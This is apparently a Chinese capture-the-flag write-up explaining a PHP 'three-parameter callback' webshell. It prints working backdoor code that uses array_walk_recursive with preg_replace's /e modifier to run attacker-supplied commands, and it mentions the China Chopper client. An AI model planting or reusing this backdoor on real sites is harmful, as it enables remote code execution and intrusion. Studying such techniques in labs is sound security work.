至于前面那个，writeup中说涉及到毁掉后门的概念，于是上网查了一下回调后门，发现这其实是三参数回调后门

三参数回调后门

上面的函数都是两个参数，然后回调指定函数的，下面还有3个参数的：

```
<?php
$e=$_REQUEST['e'];
$arr=array($_POST['pass'] =>'|.*|e',);
array_walk_recursive($arr, $e, '');
```

这段代码的最终效果是回调名字为 `$e` 的函数， `'|.*|e'` 作为回调函数的第一个参数， `$arr` 数组中的 `$_POST[pass]` （键）作为第二个参数。 `''` 作为第三个参数。
有哪些函数是可以三个参数并且代码执行or命令执行的呢？
最最常见的： `preg_replace` 函数在 e 修饰符条件下可以进行命令执行
最后的效果为：

```
preg_replace('|.*|e', '你的命令', '');
```

怎么是一堆乱码…丢到Unicode里编码一下，发现竟然成功了！得到了 `恭喜你获得flag2.txt` ，打开得到flag

还有的writeup说用中国菜刀连接即可，没有下所以没尝试过